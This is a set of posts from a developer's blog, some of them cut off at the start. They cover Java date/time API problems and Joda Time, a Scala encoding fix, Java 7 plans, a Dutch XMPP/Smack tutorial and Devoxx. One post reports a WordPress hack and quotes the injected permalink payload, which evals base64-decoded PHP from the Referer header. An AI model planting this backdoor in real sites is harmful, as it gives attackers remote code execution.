Since the start of the development of JDK 7, there is quite some discussion on the API’s in the standard Java libraries which covers date and time. In the current Java version (1.6) there are roughly three major (groups of) classes which are responsible for handling date and time: Date and Calendar, the formatting classes, and the classes in the java.sql package, including java.sql.Date, java.sql.Time and java.sql.Timestamp. Most developers agree that these classes are far from perfect.

In order to resolve this issue, JSR-310 is started to improve the date and time API in the standard Java libraries. However, due to lack of developers and slow progress, it became very uncertain if the JSR would be ready for inclusion in JDK 7 (which will eventually become Java 7, the name I will use in the rest of this article). JSR-310 is lead by Stephan Colebourne and Michael Nascimento Santos. Colebourne is the original author of the increasingly popular Joda Time project, which is a replacement for the default Java date and time API’s. At Devoxx 2009, taking place last November, Mark Reinhold of Sun announced that Java 7 will be delayed until September 2010 at the earliest. Stephan Colebourne sees this as a opportunity to release at least a partially complete JSR-310 in time for the upcoming Java release.

But why is the current Java date and time API broken? How can you circumvent the issues in this API? And how does JSR-310 intends to resolve the issues in the upcoming release? These questions I will try to answer in this article.

Current date and time API in Java

While it is a bit to much to explain the complete workings of the date and time API in Java 1.6 (and before), I will try to explain the main problems with the current date and time API in Java. I assume some upfront knowledge of the API by the reader, but probably it is not very difficult to follow for people who don’t have extensive experience with the API.

The Java 1.6 standard library contains a few classes which deals with date and time. The most important ones are Date and Calendar. Almost the entire API is designed around these two classes. The main problem with them is that fairly simple operations on date and time require a rather large amount of code with many instances of individual classes. This has a negative impact on performance. The API is inconsistent and confusing for developers, making code using Date and Calendar hard to read and maintain. Additionally, the API is incomplete which force developers to create custom solutions for simple problems. Finally, the API misses opportunities which would made the usage of the API simpler. With this last point, I mainly refer to the lack of fluent API’s and the fact that all objects are mutable.

In the current API only a specific instance in time can be represented using a Date object. This object represents a specific point in time, internally defined by the number of milliseconds since the Epoch (January the 1st 1970 at 0:00 hour) and a timezone. In fact, this could be easily represented by an immutable object. Unfortunately, this is not the case. In earlier Java versions, many methods were added to the Date class making it possible to manipulate it. Nowadays, almost all these methods are deprecated and should not be used anymore. However, they still exists, and worse of all the setTime(long time) method is not deprecated and changes the state of a Date object.

The fact that Date is a mutable object, makes it hard to use it in other classes which are immutable. One should always make a defensive copy of every Date object that is part of an immutable object. Joshua Bloch gives an example in his book Effective Java:

public final class Period {
  private final Date start;
  private final Date end;

  public Period(Date start, Date end) {
    if (start.compareTo(end) > 0)
      throw new IllegalArgumentException(start + " after " + end);
    this.start = start;
    this.end = end;
  }

  public Date start() {
    return start;
  }

  public Date end() {
    return end;
  }
}

Objects of the type Period appears to be immutable, however it is not due to the usage of the Date class. An example where a Period object is changed:

Date start = new Date();
Date end = new Date();
Period p = new Period(start, end);
end.setYear(78); // Modifies internals of P!

This bug makes it possible to change the end date of the Period p, which renders the check in the constructor of Period void. Of course, there is a pretty simple way to prevent this problem by making a copy of start and end in the constructor of Period:

public period(Date start, Date end) {
  this.start = new Date(start.getTime());
  this.end = new Date(end.getTime());
  [...] // remainder omitted
}

However, this requires additional effort of the user of the API and can easily be forgotten. When Date objects would be immutable, this extra copy would not be necessary.

The other class in the date and time API in Java is the Calendar class. Instances of this class represents a point at a specific type of calendar (most of the time Gregorian) and provide methods to do some simple calculations. The main problem with this class is that it is mutable as well. The methods on this class are also not very beautiful. For example, to get the current year of the Calendar instance cal, one should call cal.get(YEAR) where YEAR is a constant. It is also confusing that a Calendar can operate in two modes, namely ‘lenient’ and ‘non-lenient’. In the first case, it is possible to define values for fields which are normally out of range. For example, it is possible to set the month to 15. The Calendar object then automatically converts it to a valid month, by increasing the year by one, and set the month to april.
Wait, april I wrote? Yes, months are zero-based in the Calendar (however, days, years, etc. are not).
The way the days of a week are represented are a little bit confusion

The main problems are clear now, however, there are many other smaller problems. For example, there also exists java.sql.Date, java.sql.Time and java.sql.Timestamp. These classes are childs of the java.util.Date class, but add some functionality for use in databases. However, there is a problem in the implementation of these classes. The java.sql.Date class and is used to represent a date without a time, while the java.sql.Time class represents a time without a date. Timestamp adds nanoseconds to the Date object. However, internally they still contain both a time and date and the implementers did not override the equals and hashCode methods causing hard to find bugs:

Date date = new Date();
Time time = new Time(date.getTime());
java.sql.Date sqldate = new java.sql.Date(date.getTime());
Timestamp timestamp = new Timestamp(date.getTime());

System.out.println(date.toString()); // Sun Dec 20 15:53:55 CET 2009
System.out.println(time.toString()); // 15:53:55
System.out.println(sqldate.toString()); // 2009-12-20
System.out.println(timestamp.equals(date)); // false
System.out.println(date.equals(timestamp)); // true

This means that java.sql.Timestamp does not obey to the equals contract, saying that the equals should be symmetric. Additionally, it is confusing that Time and java.sql.Date only represent a part of the date, but still use the same equals implementation.

Astronomical Clock

Joda Time

At this moment there is already a working solution for the problems described in the previous section. It’s called Joda Time and this is a replacement for the date and time API in the Java standard library. Joda Time solves most problems that currently exists. Joda Time contains two ways of defining a particular date or time: instant for a particular point in the ‘date time continuum’ and partial for a time or date representation which is not exactly a point in time, because a part is missing (the time, timezone, year, etc.).

Intstants in Joda Time are defined by the ReadableInstant interface, of which the most used implementation the DateTime class is. A DateTime object is immutable and contains a fluent API to do calculations on it (which of course return new objects). In order to make it easy to use it in existing projects, it is easy to convert a JDK Date object to a DateTime object and vice versa. Joda Time also provides a mutable version of the DateTime class, MutableDateTime, which can be used when a lot of transformation on a date has to be done. However, the usage of this object is most of the time not really necessary and should be avoided in my opinion. A MutableDateTime can easily be converted to a immutable version of it.

Partials are represented by the ReadablePartial interface, of which the most used implementations are LocalDate, LocalTime and LocalDateTime. Object of these types are also immutable and can easily be converted to DateTime objects and JDK Date objects. Additionally, Joda Time contains Duration, Period and Interval for completeness.

Of course, an example of Joda Time usage cannot be omitted in this article:

DateTime now = new DateTime();
Period sixdays = new Period(0, 0, 0, 6, 6, 0, 0, 0);
System.out.println(now); // 2009-12-20T18:35:53.360+01:00
DateTime future = now.plus(sixdays);
System.out.println(future); // 2009-12-27T00:41:59.097+01:00
System.out.println(now.withYear(2028).plusDays(31).toString("dd-MM-yyyy hh:mm")); // 20-01-2029 06:41

This example initializes now to the current time (the default value of a DateTime without constructor parameters). The variable sixdays contains a reference to a Period object which defines a period of 6 days and 6 hours. Periods can easily be added to a DateTime object using the plus() method. Note that the result of the method should be assigned to a variable, since it does not modify the existing object, but creates a new one which has to be assigned to a variable in order to use it actually.
The last line shows how easy it is to perform simple calculations with date using Joda Time. Additionally, it shows another feature of Joda Time, namely the ease to format a date according to a specific pattern. A similar operation would be much more difficult using the JDK Date and Calendar classes, since one would have to instanciate a Calendar, Date, SimpleDateFormat and call several individual methods.

Joda Time also makes many other use cases very simple. For example, the DateTime constructor accept many different types of objects for initialization. For example, one can provide many different formatted String objects, which are automatically parsed correctly. This includes the ISO 8601 format, which is used in XML. For testing purposes Joda Time also makes it possible to change the current time, using DateTimeUtils.setCurrentMillisFixed(millis);.

JSR-310 and Joda Time

As mentioned earlier, JSR-310 is lead by Stephan Colebourne, who also created Joda Time. It may be obvious to take the latest Joda Time release and put a JSR stamp on it, declaring it the reference implementation. This is not what is happening, with good reason.
Stephan devoted a recent blog post on this topic, explaining why JSR-310 differs from Joda Time. The main reason is that Joda Time is not perfect.
The design goals for JSR-310 are clearly defined: The API should support immutability, a fluent API, it has to be extensible and the API should be clear, explicit and expected. Especially this last point is where Joda Time is not perfect. For example, Joda Time uses the notion of Chronology to represent different calendar types. It is possible to define the Chronology when instantiating a DateTime object. In the default case, a DateTime object will return a value between 1 and 12 when calling the getMonthOfDay() method. However, when using a for examle a Coptic Chronology, this method can also return 13, since the Coptic calendar has 13 months. This makes the API return values the user might not expect, and in fact, the previous method call requires a check to make sure the result is as expected. Also the use of the ReadableInstant by DateTime and the Instant class (which is a machine representation of an instant in time) is wrong, since there is difference in how humans define an instant in time compared to how machines see it. Finally, Joda Time accept null values in many places without throwing an error, which is also wrong according to Colebourne.

The issues in Joda Time should be fixed in the JSR-310 implementation making it an even better date and time API. Should we therefor not use Joda Time? Definitely not! Of all available options, Joda Time is definitely the best choice for working with dates and times in Java. The fact that the completion of JSR-310 takes a very long time, is since for most developers Joda Time fixes the problem that exists in the current JDK API, making the urgency of completing JSR-310 pretty low.

Conclusion

The date and time function in the default Java SDK is flawed in many ways. While it can be used for most projects with some extra effort, it can also cause many unexpected problems. JSR-310 is on its way to finally fix this problem. However, it is still not yet sure if it will be part of Java 7, mainly because of the lack of developers.
For new projects, there is very few arguments for not using Joda Time. It is well tested and well supported, including support for Hibernate and JSP’s. It makes it a lot easier to perform calculations using dates, and provides an easy to use API with reliable performance.

(0x20AC until 0x20B6).foreach { x => print(x.toChar + " ") }

This example will print characters 0x20AC (euro symbol) up to 0x20B6 (an unknown symbol to me ).

However, the result I got on my system (Mac OS X 10.6.2 using Scala 2.8 nightly) was not really what I expected:

? ? ? ? ? ? ? ? ? ?

Yes, indeed, I only got a list of question marks. Several attempts to solve this problem (writing it to a file, printing it using other conversions, etc.) didn’t solve this problem. I expected it had something to do with the encoding, but not knowing enough on this subject prevented me from finding the actual problem. I ended up posting a question on Stackoverflow:

I am not able to print unicode characters correctly. Of course a-z, A-Z, etc. are printed correctly, but for example € or ƒ is printed as a ?.

print(8364.toChar)
results in ? instead of €. Probably I’m doing something wrong. My terminal supports utf-8 characters and even when I pipe the output to a seperate file and open it in a texteditor, ? is displayed.

I got one answer, stating that he (or she?) could not reproduce the problem:

Euro’s codepoint is 0x20AC (or in decimal 8364), and that appears to work for me (I’m on Linux, on a nightly of 2.8):

scala> print(0x20AC.toChar)
€

So, either there was an issue on Mac OS X or there was a bug in Scala. After a week or so, I still didn’t found the cause of my problem (of course, my original problem, printing the string containing UTF-8 characters was already solved in a different way). I decided to investigate a bit further. As most of the time, the cause was pretty obvious. Scala uses the system property file.encoding to determine which encoding it should use. I posted the ‘solution’ on Stackoverflow:

The cause of the problem is the default encoding used by Mac OS X. When you start `scala` interpreter, it will use the default encoding for the specified platform. On Mac OS X, this is Macroman, on Windows it is probably CP1252. You can check this by typing the following command in the scala interpreter:

    scala> System.getProperty("file.encoding");
    res3: java.lang.String = MacRoman

According to the scala help test, it is possible to provide Java properties using the -D option. However, this does not work for me. I ended up setting the environment variable

    JAVA_OPTS="-Dfile.encoding=UTF-8"

After running scala, the result of the previous command will give the following result:

    scala> System.getProperty("file.encoding")
    res0: java.lang.String = UTF-8

Now, printing special characters works as expected:

    print(0x20AC.toChar)
    €

So, it is not a bug in Scala, but an issue with default encodings. In my opinion, it would be better if by default UTF-8 was used on all platforms. In my search for an answer if this is considered, I came across a discussion on the Scala mailing list on this issue. In the first message, it is proposes to use UTF-8 by default on Mac OS X when file.encoding reports Macroman, since UTF-8 is the default charset on Mac OS X (keeps me wondering why file.encoding by defaults is set to Macroman, probably this is an inheritance from Mac OS before 10 was released?). I don’t think this proposal will be part of Scala 2.8, since Martin Odersky wrote that it is probably best to keep things as they are in Java (i.e. honor the file.encoding property).

So the best way to prevent this issue, is to set file.encoding to UTF-8 using the JAVA_OPTS environment variable which is loaded by default on startup.

However, I’m planning to change this. It is not that I don’t like writing, and in my experience, when I write an article on a specific subject, I have the habit of do some research on it which increase my knowledge on the subject on the go. I have some articles in draft and some others planned to write. With the new year approaching, increased writing sounds like a good intention for the upcoming year.

In order to mark this change, I’ve decided to change the look of my site a bit and add some additional features on it (especially a Mobypicture widget). The new look is not yet finished, but that will come over time.

After some quick research, it seems there was a bug in WordPress which made it possible to alter the database using SQL injection. I was victim of a widely available exploit which changed the permalink URL’s to something ending with %&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/. This was done by changing the permalink option of WordPress, which appends this snippet to every URL.

It is quite obvious what it does: everything in the HTTP_REFERER header is base64_decoded and evaluated. So, anybody could execute PHP code on my server by adding it to the referer header (which is very simple).

Many reports by victims of this hack have additional administrators for their blog. Fortunately, that was not the case with my blog.

This is the first time in my life I was subject to hackers or something like that.

More information on how to deal with this hack can be found on the weblog Journey Etc..

By the way, I have to say that the new admin interface that come with WordPress 2.8.4 is very nice. It is definitely an improvement over the old one (of which the source code also wasn’t very nice..).

As promised in my last post, I will write some more on the Java 7 developments. Since my last post, there are not that many new developments, but since I’m reading a bit more on the subject there are some things I want to mention here.

Project Coin

First of all, there are developments in Project Coin. Since this week is the last change to submit new proposals (and I think they don’t expect very interesting ones), the have created a short list of proposals which are considered for implementing for JDK 7. It is discouraged to discuss on the other proposals on the mailing list, which means effectively that these other proposals are rejected. The improvements which are considered for inclusion in Java 7 are the following:

• Strings in switch statments. This makes it possible to switch on a String object and uses cases which match on a String object as well (obviously).
• Improved Exception Handling for Java. This proposal includes catch blocks which handles multiple Exception types and safe rethrow of exceptions
• Autmoatic Resource Management. I didn’t discuss this in my previous post on JDK 7. In short, this proposal suggest a method which eases closing of resources after use. This feature, submitted by Joshua Bloch of Effective Java and the Collection framework fame, solve the difficulty of closing resources properly. Bloch gives an example of the required code for closing multiple resources, which can become quite complicated because it requires several nested try-catch statements.
• Improved Type Inference for Generic Instance Creation. This is the proposal which makes it possible to omit the generic type declaration when creating an instance of (for example) a collection. Example:
  List<string <List<String>&gt:> myList = new ArrayList<>();.
  Currently, one whould repeat the generic types in the right hand instanciation of the ArrayList.
• Elvis and other null-safe operators. This proposal describes the safe dereference operators, such as .?. It makes it possible to omit checks on objects for null values.
• Simplified Varargs Method Invocation. This proposal was also not discussed in my previous post. It presents a solution for warnings which are issued when a method combines varargs with non-reifiable array types (in fact using generics in combination with varargs). The proposal does not really include a language change, but moves the point where a warning is given in the mentioned case, namely at the definition of the method instead of at the moment the method is used.

The Project Coin mainlinglist now focusses on discussing the above six proposals in order to come to a final proposal. Chances are that these proposals will be included in JDK 7, however Darcy notes that probably only five proposals will be implemented and part of JDK 7. As every week, Darcy posted a list of new proposals that were submitted this week. This list will evaluated as the previous list, and possible acceptable proposals will be added to the shortlist.

No Java 7?

Another interesting point is made by Stephen Colebourne (of JSR 310, Date and Time API). He express his concerns regarding the fact that there will be probably no official specification for Java 7, which in fact means that there will be no ‘official’ Java 7, but only a JDK 7 implemented by Sun. There is no other way to create an official Java SE 7 JDK. In fact, this removes one of the strong points of Java, namely that it is an official specification and not ‘just an implementation of a language’.

This point is backed by Neil Bartlett of OSGi, who states that Project Jigsaw is also not backed by a JSR, apart from JSR-294 (superpackages). He is especially worried about this considering the rumours regarding a possible take over of Sun by IBM, since IBM will kill off Project Jigsaw according to Bartlett, since it is not in its interest to development such a project because it already has OSGi. It should be noted that former conclusions are only based on assumptions. Colebourne thinks he has a point, by pointing at the fact that most bloggers at Sun only mention JDK 7 and almost never use the ‘Java 7′ term.

Release plan and current status

Danny Coward posted an update on the release plan of JDK 7. There is a list of milestones which consists of a total of 8 milestones, where M8 is the final one which should be the final JDK 7. Currently we are at M2, which already includes the new Garbage Collector (G1), compressed 64-bit pointers, NIO2 and a method to close URLClassLoader. M3 should be released before JavaOne (at the earliest on the 21st of May). This release should contain some interesting improvements, inlcuding Invoke Dynamic, SCTP and SDP support (mainly intersting for mainframe stuff, I think), upgraded class-loader and improved unicode handling. This latter consist a fix which removes support for unicode characters which are not represented using the shortest possible way. It is possible to represent the same character using several byte patterns in UTF-8. This can lead to security problems when this is not handled correctly.

While Java is already in the game for several years, development on new features and improvements for the language are still going on to ensure that Java will be useful in the future. Java 6 has been released more than two years ago, and is slowly becoming old caffee. Most people prefer freshly cooked caffee, and therefore a large number of developers are working on Java 7. The planned release for this newly brewed Java is stated for March 2010. In this article, I will try to provide an overview on the current state of Java 7 and what we can expect in the final release.

Big changes

While it is far from sure which will eventually be part of Java 7, some big changes are defined of which it will be very likely that it will be part of the new release. The most important change is modularization of the JDK. This project, which is currently knonw by the name ‘Project Jigsaw’, aims to provide a more flexible platform and make it easier to distribute Java libraries and applications. In a nutshell, the idea is to extend the Java language with syntax to load modules and define to which module a particular Java class, interface or package belongs. A module is a top level grouping of Java packages on a language level and jar files on a file system level. Java modules can be loaded dynamically – comparable to the way in which OSGi works – and it is possible to define dependencies within modules. Such a dependency can be optional, but it is also possible to prevent other modules to depend upon a given module. A new accessibily level will be added for classes and interfaces which makes it possible to restrict access to a certain class or interface from within the current module. As for now, the keyword which is proposed for this feature is ‘module’, but it will remain possible to call classes and other elements module (so, it will not become a reserved keyword).

The biggest advantages of the modularization will be the reduced amount of dependency problems within libraries, which is currently a major issue in larger Java applications. Project Jigsaw will make it possible to use multiple versions of the same module in a single application. Another advantages is that the JDK will be modularized as well, which makes it possible to reduce the core JDK significantly. Parts of the JDK which are not required for a certain application don’t have to be installed on the system, increasing the speed and reducing the size of the used JDK. Parts of Java which are not used anymore can be depricated more easily (because there are simply not installed anymore) and it will also be easier to add new parts to the JDK.

The modularization of the Java language is a very invasive operation. It requires changes to the syntax of the language, to the core libraries and the Java compiler. Sun Microsystems took the burden upon itself to implement this change, but also stated that it won’t be possible to make other large changes to the language. Victims of this decision are closures and the support for property fields.

Av few other changes which will be very likely to find their way into the JDK 7 is the NIO2 library. NIO2 uses operating system specific code to access files, directories and network resources, which leads to several speed improvements as well as extended capabilities which were not possible without NIO2. One of the notable improvements offered by NIO2 is the possibility of asynchronous access of (metadata) of files, enabling for example to execute code when a file is change without having to poll the file regularly for changes. There will also be changes to the concurrency framework, improvements in the other standard Java libraries and updates to the Swing framework, including the Swing Application framework and a multimedia component which makes it easier to implement video playing capabilities into Java applications.

JVM changes

Another big improvement, which will certainly be part of Java 7, is the so-called ‘invoke dynamic’ feature for the JVM. This is not a change to the Java programming language, but will only be cause changes in the virtual machine. Invoke dynamic will benefit the dynamic languages which are available for the JVM, including JRuby, Jython, Scala, Clojure, Groovy, JavaFX and Fan. A complete explanating of this feature would require a article in itself (apart from the fact I can’t really explain it completely and corretly at this moment). It will make it possible to execute individual methods which don’t necessarily belong to a particular object or class. This is especially relevant for languages which support closures or provide possibilities to add methods to an object after it has been instanciated.

The current development version of the JVM (under the OpenJDK umbrella) already contains a new garbage collector (called Garbage First) which will improve performance in comparison to the current garbage collector (which uses a concurrent mark sweep algorithm), but the most important improvement is that the GC time will be more predictable.

Project Coin

There is a lot to write on the new features which are considered for Java 7 inclusion. However, space is limited here, so I have to wrap it up. There is one item which I will discuss here, and that is Project Coin. Despite the fact that there will not be many large changes to the Java programming language with the Java 7 release, the developers would not want to skip the opportunity to do small languages changes with this new major release. These small language changes are selected using strict criteria: a language change should be relatively easiliy to implement and should give a significant productivity improvement for a Java programmer. An example of such a feature from the past is the ‘foreach’ construction added with Java 5.

Everyone who has a good idea for a small language improvement can submit his proposal to the Project Coin mailinglist. The proposal should be done using a standard proposal form and has to be submitted before the 30th of March 2009. At the moment of this writing, there were 21 proposal submitted. A few of them are seriously considered for implementation (eventually, about five proposals will be part of Java 7):

• The possibility to use Strings in a switch statement.
• Improved type inference for Generics, making it possible to write for example the following:
  Map<String , List<String>> myMap = new HashMap<>();.
  It would not be required anymore to repeat the types on the right side statement, which reduces the amount of typing by the programmer.
• The ‘elvis’ operator and other operators which will make testing for null on variables unnecessairy. Example:
  

  MyObject myInstance = getMyInstance();
  MyInstance.?toString();
  

  
  In the current Java, the myInstance.toString() call should be preceded by a checn on null for myInstance in order to avoid a possible NullPointerException.

• Improved exception handling, including the possibility to handle multiple exceptions within one catch block and safe rethrow of exceptions.

There are more interesting (and not-so-interesting) proposals, and there will definitaly be more new proposals submitted before the deadline will pass, but the list above will give a rough indication of which we can expect in Java 7. For developers who are interested in language development and in which way Java will evolve with the next release, it is certainly worthwhile to check out the Project Coin mailinglist. There are very intersting discussions on the proposed features and the huge implications which can come with (apparently) small changes.

Conclusion

Since it will take at least another year before Java 7 is released, at this moment the rough shape of this upcoming release is slowly revealed. Of course things will change over the next year and the described features are far from there eventual specification, it is safe to conclude that Java 7 will bring nice improvements. Not only for Java developers, but also for developers using alternative languages for the JVM.

The biggest difference compared to previous Java releases is the fact that all development is done in the open. Most of it will be part of the OpenJDK project, and otherwise as part of the Java 7 project. The OpenJDK development release, which already contains some improvements for Java 7, can be downloaded and installed at this very moment. So check it out if you want to try the new features!

I will try to give updates on this blog when there is something interesting to tell on the Java 7 development.

There are at least six others, just take a look here: http://www.youtube.com/user/kutiman. All the original video’s are linked as well.

Update – I already noticed that Safari 4 was fast, but according to these benchmarks, Safari 4 is really fast. In fact, the JavaScript performance is better than Google Chrome and 42 times faster than IE 7.

XMPP en Smack

Instant Messaging is nog relatief jong in de geschiedenis van internet en lijkt daardoor nog niet zoveel gebruikt voor de communicatie tussen de gebruiker en een applicatie als bijvoorbeeld e-mail. Het verzenden van e-mails door een applicatie is tamelijk gebruikelijk. Het versturen van berichten naar een IM-client een stuk minder. Andersom, een applicatie bedienen door middel van e-mail of instant messaging-berichten lijkt nog veel minder voor te komen, terwijl er de nodige scenario’s denkbaar zijn waarin dit een efficiente en snelle bedieningsmethode kan zijn.

Enkele jaren geleden werd er een ISO-standaard gedefinieerd voor een protocol dat gebruikt kan worden voor instant messaging. Dit was het protocol dat door het Jabber-systeem werd gebruikt, en bij het standaardiseren werd omgedoopt tot XMPP. Hoewel Jabber/XMPP als Instant Messaging-platform nog niet de populariteit heeft van bijvoorbeeld MSN Messenger, ICQ of AIM/Yahoo IM, wordt het tegenwoordig toch redelijk veel toegepast. Bekende gebruikers zijn Google Talk, Apple’s iChat en Twitter-achtige applicaties die het gebruikt als een van de interfaces naar de gebruiker.

Uiteraard zijn er diverse gratis XMPP-servers, waarvan het in Erlang geschreven ejabberd de meest bekende en meest gebruikte is. Ook zijn er voor veel programmeertalen kant-en-klare bibliotheken om het protocol te integreren in een applicatie. Een XMPP-library voor Java is Smack, dat met weinig inspanningen een applicatie voorziet van XMPP-ondersteuning. In dit artikel zal ik een korte introductie geven in het gebruik van Smack.

XMPP

Het XMPP-protocol maakt in principe gebruik van een server. Het is echter vrijwel nooit noodzakelijk om zelf een server te draaien, al kan dit wel voordelen bieden tijdens het ontwikkelen van een XMPP-applicatie, zoals volledige vrijheid in de configuratie en dergelijke. Over het algemeen is het mogelijk om een publieke Jabber/XMPP-server te gebruiken.

XMPP is een modulair protocol, waardoor er diverse uitbreidingen zijn die extra functionaliteit toevoegen. Standaard biedt XMPP zeer rudimentaire instant messaging-functionaliteit, waaronder het registeren van gebruikers en het verzenden van berichten van een gebruiker naar een andere gebruiker. Uitbreidingen bieden mogelijkheden zoals multiuser-chat, wat de functionaliteit van een chatroom biedt, vergelijkbaar met een irc-chat. Ook zijn er uitbreidingen die verzenden van databestanden mogelijk maken en audio- en videocommunicatie faciliteren. De communicatie tussen de clients en de servers vindt plaats door middel van XML-berichten, waardoor het debuggen van XMPP-applicaties erg eenvoudig is.

Om werking van XMPP is vrij simpel. Om het te kunnen gebruiken moeteen gebruiker op de server worden geregistreerd waarbij minimaal een gebruikersnaam en wachtwoord moet worden opgegeven. Hierna kan de gebruiker zich aanmelden bij de server en is het mogelijk om berichten te verzenden naar andere gebruikers. Om een bericht naar een andere gebruiker te verzenden is alleen de gebruikersnaam noodzakelijk, die de vorm gebruikersnaam@hostnaan/Resource heeft. Naast het verzenden kan ook een lijst met contactpersonen worden bijgehouden, in XMPP-terminologie heet dit een Roster. Voordat een gebruiker aan het roster kan worden toegevoegd moet deze toestemming geven, omdat het dan namelijk ook mogelijk is om te zien of de betreffende gebruiker online is. Smack biedt een behoorlijk volledige implementatie van de XMPP-standaard. De belangrijkste classes in deze bibliotheek zijn XMPPConnection, Roster, AccountManager en Chat.

Simpele XMPP-service

Het ontwikkelen van een eenvoudige XMPP-dienst is met relatief weinig code te realiseren met behulp van Smack. In dit voorbeeld zal een XMPP-service worden getoond die een aantal standaard antwoorden geeft op berichten, afhankelijk van de berichtinhoud.

Om te beginnen moet er een verbinding met een XMPP-server worden opgebouwd:

XMPPConnection xmppconn = new XMPPConnection("jabber.org");
try {
	xmppconn.connect();
} catch (XMPPException xe) {
	xe.printStackTrace();
}

Er dient dus een nieuw XMPPConnection-object te worden aangemaakt, waarbij in bovenstaand voorbeeld een verbiding met de server jabber.org wordt gemaakt. De method-call connect() zorgt ervoor dat de daadwerkelijke verbinding wordt opgebouwd. Na het verbinden moet er worden ingelogd. Indien de gekozen gebruikersnaam niet bestaat, dient deze te worden geregisistreerd. In onderstaand voorbeeld is geen uitgebreide foutafhandeling aanwezig, om de code overzichtelijk te houden:

try {
	xmppconn.login("pietje", "pukje123");
} catch (XMPPException xe) {
	XMPPError err = xe.getXMPPError();
	if (err != null && err.getCode() == 404) {
		try {
			AccountManager am = xmppconn.getAccountManager();
			am.createAccount("pietje", "pukje123");
			xmppconn.login("pietje", "pukje123");
		} catch (XMPPException xe2) {
			xe2.printStackTrace();
		}
	} else {
		xe.printStackTrace();
	}
}

Eerst wordt getracht aan te melden met een gebruikersnaam en wachtwoord. Als deze niet bijkt te bestaan, stuurt de XMPP-server een xmpperror-packet met een foutcode 404, wat aangeeft dat het genoemde object niet bestaat op de server. In dat geval wordt getracht om het account aan te maken. Dit gebeurd met behulp een AccountManager-object, die wordt geleverd door de XMPPConnection-instantie. Na het aanmaken van het account wordt opnieuw geprobeerd om in te loggen.

Nu we zijn verbonden met de server kan er worden gestart met het luisteren naar binnenkomende berichten. Aangezien we op alle binnenkomende berichten willen reageren, moet er gebruik worden gemaakt van een PacketListener. Dit is een tamelijk generieke listener die alle type binnenkomende objecten kan verwerken, en waarbij dus wat filtering dient te worden toegepast:

class MyPacketListener implements PacketListener {
	public void processPacket(Packet packet) {
		if (packet instanceof Message) {
			Message mesg = (Message) packet;
			/* Code om message af te handelen */
		}
	}
}

Normaliter kan gebruik worden gemaakt van een MessageListener op een Chat tussen een gebruiker, die alleen pakketten van het type Message verwerkt en de rest negeert. In dit geval kan dat niet, omdat niet bekend is welke gebruiker een bericht naar deze client zal sturen en moet de PacketListener worden toegevoegd aan het XMPPConnection-object:

xmppconn.addPacketListener(new MyPacketListener(), new PacketTypeFilter(Message.class));

Het daadwerkelijke afhandelen van een binnenkomend bericht gebeurd dus nu in de class MyPacketListener. Om het een beetje eenvoudig te houden, reageren we op elk bericht. Als het bericht alleen bestaat uit ‘datum’ wordt de huidige datum en tijd terug gestuurd. Anders wordt er een algemeen bericht naar de verzendende gebruiker gestuurd:

Message mesg = (Message) packet;
Chat chat = xmppconn.getChatManager().createChat(mesg.getFrom(), new MessageListener() {
	public void processMessage(Chat chat, Message message) {
		System.out.println("Received message: " + message.getBody());
	}
})

try {
	if (mesg.getBody().equals("date")) {
		chat.sendMessage(DateFormat.getDateInstance().format(new Date()));
	} else {
		chat.sendMessage("De XMPP-client zegt 'hoi'");
	}					}
catch (XMPPException xe) {
	xe.printStackTrace();
}

Voordat er een bericht gestuurd kan worden moet er een Chat-object worden aangemaakt. Hier moet ook een MessageListener aan worden gekoppeld, die in principe alleen de berichten ontvangt die worden verzonden door de gebruiker die onderdeel uitmaakt van deze chat.

Verdere mogelijkheden

Voor een applicatie die XMPP alleen maar gebruikt voor notificatie en het eventueel ontvangen van berichten van gebruikers, zouden de voorbeelden al voldoende moeten zijn. Smack (en XMPP) bieden uiteraard nog veel andere mogelijkheden. Het eerste wat men nog tegen zal komen is de mogelijkheid om te ‘subscriben’ op een gebruiker. De applicatie ontvangt dan notificaties wanneer de gebruikerstatus veranderd. Hiervoor dient echter toestemming te worden verleend door de gebruiker waarop men wil subscriben. Smack biedt de mogelijkheid om standaard toestemming te geven wanneer een subscribe-request wordt ontvangen, wat wel de beste keuze is als de gebruiker de mogelijkheid heeft om berichten naar de applicatie te sturen. In Smack wordt het subscriben op gebruikers volledig afgehandeld door de Roster-class, die bovendien een eenvoudige implementatie biedt voor het beheren van gebruikerslijsten.

Concluderend kan worden gesteld dat XMPP vele mogelijkheden biedt om notificaties te verzenden en ontvangen. De Smack-library biedt een gebruiksvriendelijke library om gebruik te maken van dit protocol en maakt het mogelijk om met relatief weinig code XMPP-ondersteuning toe te voegen aan een applicatie.

With 3200 visitors from 35 different countries, the event was completely sold out. The five days Devoxx is held, are split into two parts. The Monday and Tuesday were so-called ‘university’ days, consisting of longer in-depth talks taking three hours. The Wednesday, Thursday and Friday are the conference days, and contained the most interesting talks including some new announcements by the leaders of the Java community. Apart from the lectures, there was a booth floor with booths of Java related companies, such as IBM, Sun but also Microsoft and Adobe were present. I attended only the Wednesday and Thursday. Because of planning issues at work, it was not possible for me to visit the other days.

As expected, the main topics during Devoxx were the current hypes and trends in Java world. A major topic was of course JavaFX, which was released only one week before Devoxx by Sun Microsystems. Also other Rich Internet Application platforms got attention during Devoxx, but remarkably less than JavaFX. Another subject which got a lot of attention during the conference were alternative languages for the JVM, especially Groovy, Scala, JRuby and Jython. In various talks not directly related to Groovy or Scala, examples were giving using these alternative languages. This clearly indicates that these new languages have a important position in the Java-world. In fact, JavaFX is also an alternive scripting language for the JVM, but obviously this language has a slightly different goal, because this language is mainly focused on RIA’s. Finally, the upcomping improvements in Java 7 was also a hot topic.

Wednesday started with a keynote consisting of two parts, where the second part consisted of a relatively boring promotion talk on RFID by IBM. The first part, however, was a lot more interesting. Danny Coward of Sun Microsystems introduced JavaFX and gave several demo’s showing the capabilities of this new platform and presented the global architecture of JavaFX. JavaFX is aimed at rich internet applications and competes with Microsoft Silverlight and Adobe Flex, among others. The main advantages of JavaFX is the fact that it is based on Java SE and in fact produces Java Applets, which implicates that it will run on a large part of the current browsers without the need of installing additional plugins. JavaFX strong points are the ability to work efficiently with multimedia and animations, which opens a lot of possibilities for Java developers. There are already many plugins for existing IDE’s like Eclipse and Netbeans, but also for tools used by designers, like Photoshop and Illustrator. A big disadvantage of the current JavaFX version is the lack of controls for data focussed applications, such as buttons, radio buttons and checkboxes.

